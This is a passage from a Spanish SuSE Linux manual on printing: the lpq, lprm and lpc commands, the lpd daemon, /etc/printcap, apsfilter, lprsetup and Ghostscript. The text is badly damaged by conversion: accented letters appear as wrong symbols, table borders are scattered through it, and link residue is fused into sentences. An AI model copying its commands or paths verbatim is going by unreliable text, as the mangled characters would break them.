| 1st tux 677 brief.dvi 11578 bytes *
* |
| 2nd tux 683 bild.gif 37464 bytes *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 12.2.1: Resultado del comando lpq .
o lprm borra las tareas propias de la cola de impresi≤n; el comando que
viene a continuaci≤n da como resultado la salida en pantalla 12.2.2:
tux@tierra: > lprm -Pcola_impresi≤n 676
________________________________________________________________________________________________________*
*________||
| dfA676Aa05005 dequeued *
* |
| cfA676Aa05005 dequeued *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 12.2.2: Resultado ejemplar del comando lprm .
Sin indicaci≤n explφcita de un n·mero de tarea activa, Θsta se borra de la
cola si la tarea pertenece al usuario.
o lpc (con rama completa: /usr/sbin/lpc) control de las colas de impre-
si≤n. Las opciones mßs importantes figuran a continuaci≤n (como nombre
de la cola de impresi≤n se puede indicar tambiΘn all = todos):
~ status cola_impresi≤n Informa sobre el estado de la cola. Si
falta la indicaci≤n cola_impresi≤n , es como haber indicado all , o
sea, se informa sobre el estado de todas las colas.
~ disable cola_impresi≤n Se deja de aceptar nuevas tareas en la
cola de impresi≤n.
~ enable cola_impresi≤n Activa la cola de impresi≤n para aceptar
nuevas tareas.
~ stop cola_impresi≤n Detiene la impresi≤n de las tareas de la co-
la; la tarea que se estß imprimiendo termina.
~ start cola_impresi≤n Reanuda la impresi≤n de las tareas en la
cola.
~ down cola_impresi≤n Tiene el mismo efecto que disable mßs
stop .
~ up cola_impresi≤n Tiene el mismo efecto que enable mßs
start .
~ abort cola_impresi≤n Act·a como down , con la diferencia de
que detiene inmediatamente una tarea que se estß imprimiendo. Las
tareas se mantienen y es posible reanudarlas despuΘs del reinicio de la
cola (up ).
328
_________________________________________12.2.__Colas_de_impresi≤n:_Funcionamiento_y_configuraci≤n__________________________*
*______________________
Se pueden pasar estos comandos directamente desde la lφnea de comandos
a lpc (p. ej. lpc status ) o llamar a lpc sin parßmetro. En el ·ltimo caso
se abre un cuadro de dißlogo con su propio ''prompt'' lpc> , esperando la
introducci≤n de comandos de lpc . Con quit o exit se sale de esta
ventana.
_______________________________________________________________________________________________________________________||
|||||||| Las tareas de impresi≤n se mantienen en la cola de impresi≤n incluso si ||| |
|||||||| || |
|||||||| se para a prop≤sito la computadora durante la impresi≤n, reinicißndola || |
|||||||| nuevamente mßs tarde. Por eso hace falta quitar un tarea de impresi≤n || |
|||||||| || |
|||||||| equivocada mediante los comandos que figuran arriba. || |
||||||||_______________________________________________________________________________________________________________||_
lpd: el gestor de impresi≤n en segundo plano
El lpd (ingl. Line Printer Daemon) se activa durante el arranque del sistema
mediante el script /sbin/init.d/lpd si el fichero /etc/rc.config con-
tiene la lφnea START_LPD=yes . lpd se ejecuta como daemon en segundo
plano.
Cuando lpd se inicia, averigua mediante el fichero /etc/printcap las colas
de impresi≤n definidas. Su trabajo es organizar la impresi≤n de las tareas en
la cola; trabajo que se desglosa en:
o organizaci≤n de las colas locales: lpd hace pasar el fichero de datos por el
filtro adecuado (definido por la entrada de la cola en /etc/printcap, tal
como por indicaciones explφcitas en el fichero de control de la tarea) y lo
envφa despuΘs al puerto de la impresora;
o consideraci≤n del orden de las tareas en la cola de impresi≤n;
o supervisi≤n del estado de las colas y de la impresora (fichero status en
los directorios ''spool'' locales) e informaci≤n sobre los estados en caso
de solicitud;
o traspaso de solicitudes de impresi≤n a colas remotas al lpd local de la
mßquina remota;
o recogida de solicitudes de impresi≤n dirigidas a colas locales y proce-
dentes de mßquinas remotas o rechazo de las mismas en caso de no ser
autorizadas.
Autorizaci≤n: Solo se aceptan solicitudes de mßquinas remotas si Θstas se
mencionan en el fichero /etc/hosts.lpd del servidor de impresi≤n (ingl.
printserver). TambiΘn es suficiente con mencionar la mßquina remota en
/etc/hosts.equiv pero esto presenta muchos inconvenientes respecto a
los derechos de acceso desde la mßquina remota a la local. Por razones
de seguridad es mejor evitarlo (ver el apartado 18.2.2 en la pßgina 464El
TCP-Wrappersubsection.18.2.2) .
Si se a±aden parßmetros a la definici≤n de la cola, estos pueden causar re-
stricciones adicionales a los usuarios de un determinado grupo o a usuarios
con cuenta en la mßquina local.
Filtros: los trabajadores infatigables
Los filtros de impresi≤n se encargan de convertir el fichero de datos de una
tarea al formato especφfico de la impresora (en cuanto a su configuraci≤n ver
*
* 329
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
el apartado 12.3 en la pßgina siguiente). Con ello, los filtros son los que
tienen la mayor carga de trabajo en todo el proceso de impresi≤n. Su funci≤n
equivale a la de los drivers de impresi≤n en otros sistemas operativos como
Windows u OS/2. Aparte de esto, liquidan a petici≤n del usuario la tarea de
impresi≤n, calculando los recursos gastados, el tama±o total. . .
/etc/printcap : Configuraci≤n de las colas
Cada cola de impresi≤n disponible se define en el fichero /etc/printcap
con una entrada y Θsta se finaliza con el sφmbolo ''Newline'' (cambio de
lφnea/retorno de carro), sin embargo, cuando la entrada es muy larga, Θste
se puede reemplazar con el sφmbolo de la barra inversa `\' inmediatamente
por delante del cambio de lφnea. La entrada comienza con uno o varios nom-
bres para la cola de impresi≤n, separados por el sφmbolo `|' y a continuaci≤n
viene una lista de especificaciones con el formato1 abreviatura =<valor>,
con el sφmbolo de separaci≤n `:'. Las lφnea vacφas y las que comienzan con
# (comentarios) se ignoran.
El fichero /etc/printcap contiene una serie de entradas a modo de ejem-
plo; como se puede observar, en el fichero 12.2.1 aparece una entrada muy
simple sin ning·n filtro.
________________________________________________________________________________________________________*
*________
| ascii|deskjet:lp=/dev/lp0:sd=/var/spool/lpd/ascii:sh:mx#10240 *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 12.2.1: /etc/printcap : Cola de impresi≤n local sencilla
Se puede acceder a esta cola de impresi≤n con los nombres ascii y deskjet.
El directorio ''spool'' de la cola estß en /var/spool/lpd/ascii y su impre-
sora es /dev/lp0. No imprime portadas al comienzo de cada tarea de im-
presi≤n (sh ''suppress header'' ~ suprimir encabezado) y acepta tareas hasta
10240 KB. El fichero 12.2.2 muestra el ejemplo de una cola de impresi≤n en
una computadora remota. Respecto a esta configuraci≤n ver el apartado 12.4
en la pßgina 337Impresoras de red con apsfilter section.12.42 .
________________________________________________________________________________________________________*
*________||
| lp1|HP-4P:\ *
* |
| :rm=sol.cosmos.univ:\ *
* |
| *
* |
| :rp=HP:\ *
* |
| :sd=/var/spool/lpd/lp1:\ *
* |
| :mx#0:sh *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 12.2.2: /etc/printcap : Cola de impresi≤n remota sencilla
La cola de impresi≤n tiene los nombres lp1 y HP-4P . En lugar de indi-
carse el dispositivo lp= , ahora se hace referencia al + Anfitri≤n (ingl. host)
sol.cosmos.univ y su cola de impresi≤n HP. No hace falta especificar fil-
tros ya que la cola en sol.cosmos.univ se encarga de ello. Por lo tanto, solo
_____________________________________________1
Todas las abreviaturas con su significado y valor predeterminado se detallan en la pßgina del
manual de printcap (man printcap ).
2 Las barras inversas (\) al final de la lφnea ''esconden'' el retorno de carro ~ tal como en la
introducci≤n de comandos de la shell ~ asφ que la entrada cuenta como una sola lφnea.
330
____________________________________________________________________12.3.__Filtros_de_impresi≤n_~_el_''apsfilter''__________*
*______________________
queda indicar el fichero de ''spool'' /var/spool/lpd/lp1 y la restricci≤n de
tama±o de las tareas (mx#0 significa que no existe ninguna restricci≤n).
Si se usa apsfilter para la configuraci≤n, las colas de impresi≤n necesarias se
apuntan automßticamente en /etc/printcap; en el apartado siguiente hay
mßs informaci≤n al respecto.
12.3 Filtros de impresi≤n
┐QuΘ son los filtros de impresi≤n y c≤mo trabajan?
Como ya se ha indicado, el trabajo de un filtro de impresi≤n es convertir
el fichero de datos de una tarea de impresi≤n al formato especφfico de la
impresora que corresponda.
Cuando lpd llama al filtro, Θste recibe como informaci≤n adicional el tama±o
de papel, el nombre del usuario y del host desde donde viene la tarea y el
nombre del fichero. Como se trata de un programa de Unix, el filtro recibe el
fichero de datos a travΘs de la ''entrada normalizada'' (ingl. standard input) y
pasa el resultado a la ''salida normalizada'' (ingl. standard output).
El filtro debe conocer el formato de los datos de entrada (texto-ASCII, DVI,
PostScript, etc.). Para conocerlo existen dos posibilidades:
o El filtro es suficientemente ''inteligente'' como para reconocer el formato
del fichero a base de la estructura de los datos. En este caso, el filtro esta
compuesto por un ''pre-filtro'' para el reconocimiento de datos y varios
programas mßs que se encargan realmente del trabajo de conversi≤n.
Asφ funciona ~ a grandes rasgos ~ el programa apsfilter que se instala por
defecto con SuSE Linux.
o Se definen diferentes filtros para diferentes formatos de fichero. La
asignaci≤n de los filtros se efect·a a travΘs de unas entradas en /etc/
printcap de la cola de impresi≤n y el usuario selecciona los filtros pos-
teriormente por medio de una opci≤n adicional cuando se llama a lpr . Hay
ocho posibilidades previstas:
_printcap_Entrada__|_____________if=_____cf=_______df=______gf=______nf=_______rf=______tf=_____vf=_______
lpr Opci≤n | -c -d -g -n -f -t -v
Estas opciones se asignan por costumbre3 a unos formatos especiales,
pero lo realmente necesario es la asignaci≤n de la opci≤n lpr con la en-
trada en /etc/printcap 4 .) Para poner un ejemplo, if= denomina el
filtro estßndar y df= el filtro para ficheros del tipo DVI (el producto de
TEXyALTEX). Asφ se podrφa definir un filtro DVI propio para el LaserJet 4,
usando la entrada que figura en el fichero 12.3.1 en la pßgina siguiente.
Se debe tener el paquete te_dvilj instalado, pero hoy por hoy es mßs
recomendable valerse del correspondiente ''driver'' de Ghostscript, que
serφa el ljet4 .
3 ____________________________________________________
Ver la Manpage de lpr.
4 p. ej. una ''entrada cero'' al filtro cf=/bin/cat es permitida y si se da el comando lpr -c ,
se ejecuta fiel a la definici≤n.
*
* 331
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| df="/usr/bin/dvilj4 -e- -" *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 12.3.1: Definici≤n de un filtro DVI en /etc/printcap
apsfilter
El paquete aps ofrece con el apsfilter un filtro muy confortable. apsfilter
aprovecha las siguientes circunstancias:
o El formato del fichero de impresi≤n estßndar en el mundo de Unix es
PostScript.
o Existe una serie de herramientas que convierten otros formatos de texto
y de imßgenes en PostScript, p. ej. dvips para ficheros DVI, a2ps para
ficheros ASCII y el paquete netpbm, serie gra para grßficos, etc.
o Existe tambiΘn el potente programa Ghostscript , capaz de convertir
ficheros de PostScript en una multitud de formatos especiales para im-
presoras que no son PostScript (en cierta manera es como una colecci≤n
amplia de drivers de impresora).
apsfilter reune todos estos programas junto con las herramientas necesarias
para el reconocimiento del formato (file ) y la descompresi≤n. Seg·n el forma-
to que apsfilter reconoce, pasa los datos de entrada por todas las herramientas
necesarias hasta conseguir el flujo de datos correcto, que da como resultado
la impresi≤n correcta.
El script principal /var/lib/apsfilter/apsfilter indica los siguientes
formatos de fichero y tipos de compresi≤n soportados:
o ASCII, DVI, PS, Data (PCL,. . . ), GIF, TIFF, PBM, Sun Raster, X11-
Bitmap
o Tipos de compresi≤n: compress , gzip , freeze
Las colas de impresi≤n de apsfilter
El programa apsfilter ofrece las siguientes colas de impresi≤n para una com-
putadora local:
lp ~ Cola estßndar para todos los formatos de fichero.
lp-mono ~ Se genera para las impresoras de color en concepto de imprimir
en blanco y negro; procesa todos los formatos de ficheros igual a lp .
ascii ~ Para imprimir ficheros como texto ASCII, aunque el sistema de
''spooling'' reconozca otro formato5 .
raw ~ Para imprimir ficheros que ya tienen el formato especφfico de la im-
presora: no habrß ninguna conversi≤n.
Es posible definir impresoras locales adicionales. Los nombres de las colas ll-
evarφan entonces el nombre del correspondiente ''driver'' de Ghostscript como
distintivo; con el ''driver'' djet500 serφa djet500-ascii , djet500-raw ,
etc.
Ficheros- ASCII: En el fichero /etc/apsfilterrc estß previsto realizar el
filtrado_del_siguiente_modo:_________________
5 p. ej.cuando existen diΘresis en el texto.
332
____________________________________________________________________12.3.__Filtros_de_impresi≤n_~_el_''apsfilter''__________*
*______________________
o convertir ficheros-ASCII con a2ps a PostScript;
o Formato de a2ps : Imprimir el contenido de 2 pßginas en ASCII a una sola
pßgina apaisada.
Si se modifica la variable FEATURE es posible variar el formato de impre-
si≤n. Los valores que figuran en los comentarios de /etc/apsfilterrc son
vßlidos. Para suprimir por completo la conversi≤n a PostScript e imprimir
directamente en el modo ASCII de la impresora, se debe quitar el sφmbolo de
comentario # al comienzo del comando USE_RECODE_NOT_A2PS=yes y por
supuesto, tener el paquete recode, serie ap instalado.
apsfilter: Configuraci≤n
Se puede configurar el apsfilter con YaST o con el script SETUP (lprsetup )
a base de men·s.
_______________________________________________________________________________________________________________________||
|||||||| La configuraci≤n solo trabaja correctamente cuando no se modifican las ||| |
|||||||| || |
|||||||| indicaciones dadas como comentario al comienzo y al final de las entradas || |
|||||||| para el apsfilter en el fichero /etc/printcap (ver fichero 12.3.2 en la || |
|||||||| || |
|||||||| pßgina siguiente). || |
||||||||_______________________________________________________________________________________________________________||_
Configuraci≤n con YaST
Configurar la impresora con YaST representa la vφa normal para la primera
instalaci≤n. Si ya hay una configuraci≤n del apsfilter , YaST pregunta al
comienzo si la nueva configuraci≤n debe reemplazar a la antigua o si se
debe a±adir. El proceso que se lleva a cabo despuΘs ya fue explicado en
el apartado 3.7.1 en la pßgina 103Configurar impresorassubsection.3.7.1.
Cuando se instala la nueva configuraci≤n, se llevan a cabo los siguientes pasos
(da igual si se ha usado YaST o lprsetup para realizarla):
o Definici≤n de la nuevas colas de impresi≤n en /etc/printcap (ver en la
pßgina anterior).
o Generaci≤n de los directorios ''spool'' para las colas en /var/spool/
lpd/.
o Generaci≤n de los filtros correspondientes en /var/lib/apsfilter/
bin/ (se generan enlaces simb≤licos al fichero /var/lib/apsfilter/
apsfilter).
o Generaci≤n del fichero global de configuraci≤n /etc/apsfilterrc (si
este a·n no existe) y de un fichero de configuraci≤n especφfico de la im-
presora
/etc/apsfilterrc.<gs_mode> . La variable <gs`mode> representa
el nombre de impresora en Ghostscript, p. ej. bjc800 como en el ejemplo
dado.
El fichero 12.3.2 en la pßgina siguiente, muestra un ejemplo para las nuevas
entradas de una cola de impresi≤n para la Canon BubbleJet 800.
El contenido de las tres entradas es completamente igual, por lo tanto se han
abreviado un poco. Definen el dispositivo (lp= ), el directorio ''spool'' (sd= ),
el fichero de registro (ingl. Log-file) (lf= ), el fichero de liquidaci≤n (af= ) y
*
* 333
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||||
| ### BEGIN apsfilter: ### bjc800 a4 mono 360 ### *
* |
||# Warning: Configured for apsfilter, do not edit the labels! *
* ||
| # apsfilter setup Thu Sep 18 11:40:40 MEST 1997 *
* |
| # *
* |
| ascii|lp1|bjc800-a4-ascii-mono-360|bjc800 a4 ascii mono 360:\ *
* |
| *
* |
| :lp=/dev/lp0:\ *
* |
| :sd=/var/spool/lpd/bjc800-a4-ascii-mono-360:\ *
* |
| *
* |
| :lf=/var/spool/lpd/bjc800-a4-ascii-mono-360/log:\ *
* |
| :af=/var/spool/lpd/bjc800-a4-ascii-mono-360/acct:\ *
* |
| *
* |
| :if=/var/lib/apsfilter/bin/bjc800-a4-ascii-mono-360:\ *
* |
| :la@:mx#0:\ *
* |
| :sh:sf: *
* |
| *
* |
| # *
* |
| lp|lp2|bjc800-a4-auto-mono-360|bjc800 a4 auto mono 360:\ *
* |
| *
* |
| # [ ... abreviado ... ] *
* |
| # *
* |
| *
* |
| raw|lp3|bjc800-a4-raw|bjc800 a4 raw:\ *
* |
| # [ ... abreviado ... ] *
* |
| *
* |
| # *
* |
| # *
* |
| *
* |
| ### END apsfilter: ### bjc800 a4 mono 360 ### *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 12.3.2: Colas de apsfilter en /etc/printcap
el filtro estßndar (if= ). Se suprime la portada al principio (sh ) y la pßgina
separadora (sf ) (ingl. formfeed) al final de la tarea.
Configuraci≤n con SETUP (lprsetup )
El paquete aps contiene el programa de configuraci≤n SETUP /var/lib/
apsfilter/SETUP, que se puede iniciar fßcilmente con lprsetup . Ofrece
los siguientes servicios:
o Listado de todas las impresoras configuradas con apsfilter
o A±adir y quitar impresoras configuradas con apsfilter
A la hora de a±adir impresoras locales el comando lprsetup , hace (casi)
lo mismo que YaST . lprsetup tambiΘn es capaz de generar y borrar co-
las de impresi≤n en mßquinas remotas (''cola de impresi≤n remota'', ver
el fichero 12.2.2 en la pßgina 330/etc/printcap : Configuraci≤n de las
colasHfootnote.56) y puede efectuar un ''pre-filtrado'' para impresoras de red.
lprsetup funciona a base de men·s y su uso ~ despuΘs de haberse acostum-
brado ~ es c≤modo y fßcil.
1. Ejecutar lprsetup :
tierra: # lprsetup
Si se trabaja con el sistema X Window en una xterm y se tiene proble-
mas para reconocer las letras (p. ej. por tener amarillo sobre gris claro),
se puede iniciar lprsetup en una consola de texto. Aparecerß una pan-
talla de bienvenida que explica_el_proceso de la definici≤n de impresoras
nuevas con apsfilter . Con |_____-|pasamos al men· principal:
334
____________________________________________________________________12.3.__Filtros_de_impresi≤n_~_el_''apsfilter''___________*
*_____________________
EXIT Exit apsfilter setup
LISTING List all apsfilter entries
ENTRY Add/Overwrite/Delete an apsfilter entry
DELETE Fast delete an apsfilter entry
Para seleccionar uno_de_los campos con las respuestas `OK' o `Cancel' _
se usa la tecla |T____a|b; para pasar por las opciones en las listas se usa |#_ |y
||_|_".
`EXIT' ~ Finalizar lprsetup .
`LISTING' ~ Listado de todas las colas existentes.
`ENTRY' ~ Una impresora nueva se a±ade con la opci≤n de men· `EN-
TRY'. Esta conduce al sub-men· `Choose your printer defini-
tion' para la definici≤n de la impresora.
`DELETE' ~ Para borrar una impresora del apsfilter se pulsa `DELETE'
y de este modo se obtiene una lista con todas las impresoras apsfilter
disponibles.
2. Seleccionar `ENTRY'; aparecerßn las mismas preguntas que en la con-
figuraci≤n con YaST . La primera es sobre el `DEVICE' (interfaz) ; para
una impresora local en el puerto paralelo se responde a esta pregunta con
/dev/lp0, si es que trabaja con un kernel 2.2.xx.
3. A continuaci≤n aparece lo siguiente:
RETURN Back to previous menu
DEVICE Change printer interface
PRINTER Which printer driver
PAPER Which paper type
COLOR Monochrome/colorfull
SPECIAL Settings for your printer
RESET Reset the printer definition
ADD Add the printer definition
OVERWRITE Overwrite the printer definition
DELETE Delete the printer definition
`DEVICE' ~ Esta opci≤n ya ha sido mencionada.
`PRINTER' ~ Aquφ se selecciona la denominaci≤n correcta de Ghostscript,
lo cual se realiza en dos pasos:
(a) Primero se selecciona el tipo de impresora entre:
o `PostScript'
o `HEWLETT-PACKARD' (HP Deskjets)
o `OTHER' (otros, sin capacidad de PostScript)
o `FREEDEF' (definici≤n libre)
(b) Para el caso de impresoras que son realmente PostScript solo hace
falta indicar la resoluci≤n en un cuadro de dißlogo. En los demßs ca-
sos, aparecerß bajo la opci≤n `COMMIT', la lista de todos los drivers
posibles de Ghostscript. Antes de decidirse por un driver determi-
nado, se puede consultar el apartado 12.6 en la pßgina 340Listado
de las impresoras soportadassection.12.6. DespuΘs de esta selecci≤n
vendrß la pregunta sobre la resoluci≤n de la impresora. Con `RE-
TURN' se puede volver al nivel superior del men·.
*
* 335
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
`PAPER' ~ El formato de papel.
`COLOR' ~ Impresi≤n en color o blanco y negro.
`SPECIAL' ~ Estas indicaciones generalmente no se necesitan.
4. Se encuentra otra vez en el men· `Choose your printer defini-
tion'. En caso de haberse equivocado con alguna definici≤n se puede
volver a los distintos sub-men·s y corregirlo.
5. Importante: Pulsando `ADD' la definici≤n de la impresora finalmente se
activa.
Lea p. ej. con less 6 el fichero /etc/printcap para identificar el nombre de
la nueva cola de impresi≤n. Cada cola de impresi≤n tiene varios nombres: hay
algunos explφcitos que permiten reconocer la definici≤n de impresora y otros
cortos por razones de comodidad (ver fichero 12.3.2 en la pßgina 334Config-
uraci≤n con YaST Hfootnote.59). Aparte de esto lp , lp-mono , ascii y raw
son las colas de la primera impresora local.
Los ficheros de configuraci≤n apsfilterrc
Los ficheros /etc/apsfilterrc* ofrecen la posibilidad de controlar con
mßs exactitud determinados detalles del trabajo de los scripts del apsfilter ,
usando variables de la shell. Durante la instalaci≤n se generan por defecto los
siguientes:
o un fichero global /etc/apsfilterrc ,
o ficheros especφficos de impresora /etc/apsfilterrc.<gs_mode> en
las que <gs`mode> indica el nombre del ''driver'' de Ghostscript (p. ej.
para el Canon BubbleJet 800: /etc/apsfilterrc.bjc800 ).
________________________________________________________________________________________________________*
*________||
| Los ficheros instalados por defecto incluyen entradas de ejemplo para to- *
* ||||
| *
* |||
| das las variables. El fichero global /etc/apsfilterrc contiene explica- *
* |||
| ciones concretas sobre todas las variables; se recomienda mirarlo ;-) *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Las variables contenidas en los ficheros de impresoras son las mismas que
las del fichero global /etc/apsfilterrc , y para facilitar su identificaci≤n
estßn enumeradas.
Para cada tarea de impresi≤n, apsfilter lee primero el fichero de configuraci≤n
global y despuΘs el especφfico de la impresora, por lo que las definiciones
del ·ltimo fichero son las decisivas. De este modo, existe la posibilidad de
hacer definiciones estßndar en /etc/apsfilterrc (p. ej. para la resoluci≤n
de impresi≤n) y reemplazarlas con valores especiales para determinadas im-
presoras. Las modificaciones en los ficheros apsfilterrc se activan de in-
mediato.
No se quiere reflejar aquφ todo el fichero /etc/apsfilterrc , pero se pre-
sentan las variables de uso mßs frecuente:
_____________________________________________6
El uso de less se explica en el apartado 19.7.3 en la pßgina 474El contenido de los
ficherossubsection.19.7.3.
336
__________________________________________________________________________12.4.__Impresoras_de_red_con_apsfilter____________*
*______________________
o FEATURE y USE_RECODE_NOT_A2PS determinan c≤mo filtrar ficheros
ASCII (ya se explic≤ en la en la pßgina 332Las colas de impresi≤n de
apsfilterHfootnote.58).
o REMOTE_PRINTER se necesita para pre-filtrar las tareas de impresi≤n en
la red. Si la variable estß en true , las tareas de la cola local se pasan a la
cola especial remote despuΘs de haber pasado por el filtro. Si se anota un
valor diferente a true , Θste se interpreta como el nombre de la impresora
remota (ver apartado 12.4).
o PRINT_RAW_SETUP_PRINTER estß pensado para una secuencia con ''Es-
cape'' para la inicializaci≤n de la impresora en la cola raw . El contenido
de la secuencia se manda a la impresora antes de cualquier tarea de im-
presi≤n del tipo raw . /etc/apsfilterrc contiene un ejemplo y expli-
caciones sobre la sintaxis.
o GS_RESOL permite usar el filtro Ghostscript con una resoluci≤n diferente
a la inicialmente prevista para la impresora.
o DO_ACCOUNTING debe tener el valor yes para que se genere un fichero de
''accounting''. A su vez, el fichero /etc/printcap debe tener la entrada
:la@: en lugar de :la: (asφ se genera correctamente el fichero indicado
bajo af (ingl. accounting file)). Para utilizar esta caracterφstica se debe
emplear plp , asφ que se debe cambiar el paquete lrpold por el paquete
plpn.
Configuraci≤n personalizada: La versi≤n de apsfilter de SuSE Linux acepta
tambiΘn un fichero ~/.apsfilterrc personal en el directorio de usuario.
Este es analizado despuΘs de los ficheros globales apsfilterrc y por lo
tanto se pueden suprimir los ajustes globales. Por razones de seguridad ~ el
fichero se eval·a con los derechos del daemon de impresi≤n que estß en ejecu-
ci≤n ~ solo se tienen en cuenta aquellas instrucciones que implican un cambio
de valor a las siguientes variables: TEXINPUTS , PRINT_DVI , GS_FEATURES ,
USE_RECODE_NOT_A2PS , FEATURE , A2PS_OPTS , DVIPS_MODE , GS_RESOL 7 .
Las demßs instrucciones se ignoran.
Si realmente se necesita un fichero de configuraci≤n personal HOME/.apsfilterrc ,
se debe copiar uno de los ficheros apsfilterrc (que valen para todo el sis-
tema) al directorio personal y modificarlo seg·n necesidad.
12.4 Impresoras de red con apsfilter
El sistema ''spooling'' BSD considera una impresora de red (con tarjeta de red
propia) como un host remoto con colas de impresi≤n propias (los nombres
figuran en el manual de la impresora, frecuentemente es LPT1 , etc.). De este
modo es posible acceder a ella a travΘs de una cola de impresi≤n remota, p. ej.
con remote , desde la computadora local.
Se presenta una cierta complicaci≤n a la hora de filtrar las tareas de impresi≤n
ya que el daemon de impresi≤n lpd (paquete lprold) nunca hace un pre-
filtrado para colas remotas y ademßs ignora las indicaciones sobre filtros en
el fichero /etc/printcap. Por lo tanto, las tareas para la cola remote ya
deben incluir_datos_especφficos_de_la_impresora.__Esto_se_consigue_mediante
7 Ver la variable allowed en /var/lib/apsfilter/apsfilter.
*
* 337
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
un ''pre-filtrado'' usando la caracterφstica ''bypass'' de la versi≤n de SuSE del
apsfilter .
Si se desea usar YaST para la configuraci≤n, se tiene que intervenir manual-
mente, por lo cual es preferible usar lprsetup para mayor comodidad. En tal
caso, se inicia lprsetup como se ha explicado en el apartado 12.3 en la pßgi-
na 334Configuraci≤n con SETUP (lprsetup )Hfootnote.59 y a continuaci≤n
vendrß la pregunta sobre el `DEVICE' (ver en la pßgina 335Configuraci≤n
con SETUP (lprsetup )Item.201):
PARALLEL Parallel printer interface
SERIAL Serial printer interface
PREFILTER to an other queue (bypass)
REMOTE printer forwarding queue
1. Se debe configurar primero con `REMOTE' una cola que se refiera al servi-
dor remoto (ingl. remote host). Vendrß luego la pregunta sobre el host
(servidor) al cual estß conectada la impresora (en este ejemplo sol) y por
la cola de impresi≤n remota (ingl. remote printer) (generalmente es lp , no
obstante, en caso de duda lo mejor es consultar al administrador de red).
Con esto se finaliza la definici≤n de la cola remota pero hay que estable-
cerla realmente con `ADD'. . . La entrada en /etc/printcap se parece en
este momento a la del fichero 12.4.1.
________________________________________________________________________________________________________*
*________||
| remote|lp1|sol-lp|sol lp:\ *
* |
| :lp=:\ *
* |
| *
* |
| :rm=sol:\ *
* |
| :rp=lp:\ *
* |
| *
* |
| :sd=/var/spool/lpd/sol-lp:\ *
* |
| :lf=/var/spool/lpd/sol-lp/log:\ *
* |
| *
* |
| :af=/var/spool/lpd/sol-lp/acct:\ *
* |
| :ar:bk:mx#0:\ *
* |
| :sh: *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 12.4.1: /etc/printcap : Impresora de red
2. Ahora le toca el turno al ''pre-filtrado local''. Cuando venga la pregunta
por el `DEVICE', se debe seleccionar `PREFILTER' (ingl. to an other
queue (bypass)). lprsetup es ahora lo suficientemente listo como para
ofrecerle la impresora de red que se acaba de configurar:
remote remote=sol queue=lp
El resto de la configuraci≤n es equivalente a la de una impresora local (ver
en la pßgina 335Configuraci≤n con SETUP (lprsetup )Item.202). Cuan-
do finalmente se pulse `ADD', se encontrarß aparte de /etc/apsfilterrc
(ver el fichero 12.3.2 en la pßgina 334Configuraci≤n con YaST Hfootnote.59)
un fichero adicional denominado /etc/apsfilterrc.<gs_mode> con
la siguiente entrada:
REMOTE_PRINTER="remote"
338
________________________________________________________________________________________________________12.5.__Ghostscript__*
*______________________
Esta entrada hace referencia a la impresora de red. Cuando hay varias
impresoras de red, se usan los nombres con los que Θstas se identifican en
la red, en lugar de "remote" 8 .
La figura|12.1|representa|grßficamente una configuraci≤n semejante. ||
_______________________________________________________________________________________________________________________||||
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Figura 12.1: Impresora de red vφa bypass
12.5 Ghostscript
Si no se dispone de una impresora que funcione con PostScript, Ghostscript
es el programa mßs popular para hacer de filtro de impresi≤n. Este recibe
como entrada ficheros en PostScript y, para su conversi≤n a un formato es-
pecφfico apto para la impresora, contiene una multitud de drivers.
Ghostscript es un programa complejo con muchas opciones para la lφnea de
comandos y se explica en la pßgina del manual de gs (man gs ). Si se ejecuta
Ghostscript sin ninguna opci≤n, aparecerß un dißlogo con un prompt propio,
GS> , del cual se sale con el comando quit . En este libro harφa falta mucho
espacio para discutir sobre todas las opciones disponibles, pero por suerte,
tampoco hace falta ya que el apsfilter se encarga de construir la lφnea de
comandos, que de no hacerlo, podrφa resultar bastante complicado.
Solo mencionamos el siguiente comando que resulta realmente ·til,
tux@tierra:__>__gs__-h__|__less______________________
8 Si se configura con YaST , se debe ''liberar'' esta entrada a mano e indicar /dev/null como
dispositivo.
*
* 339
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
y que muestra las opciones mßs usadas y ~ íalgo importante! ~ la versi≤n
actual tal como la lista de las impresoras soportadas. La ·ltima lista en el
momento de imprimir este libro se presenta en el apartado 12.6.
Si se presentan dificultades con la impresora se puede realizar una prueba en
la que se ejecute directamente Ghostscript con un fichero PostScript (.ps) y
se le envφan a la impresora los datos especφficos de la misma. Hay una serie
de ficheros PostScript en los siguientes directorios:
/usr/share/ghostscript/<n·mero_versi≤n> /examples o /var/
lib/apsfilter/test.
La llamada a Ghostscript, p. ej. para el driver de impresora necp6 con una
resoluci≤n de 360 360, y la posterior impresi≤n en la impresora /dev/lp0,
se lleva a cabo con el siguiente comando:
tux@tierra: > gs -q -dNOPAUSE -dSAFER -sDEVICE=necp6 \
-r360x360 -sOutputFile=FicheroTest.lpr ArchivoTest.ps quit.ps
tux@tierra: > su
tierra: # cat FicheroTest.lpr > /dev/lp0
Si se usa el uniprint -driver con un fichero de parßmetros, el comando (para
una impresora de la serie ''Stylus'') es el siguiente:
tux@tierra: > gs @stc.upp -q -dNOPAUSE -dSAFER \
-r360x360 -sOutputFile=FicheroTest.lpr ArchivoTest.ps quit.ps
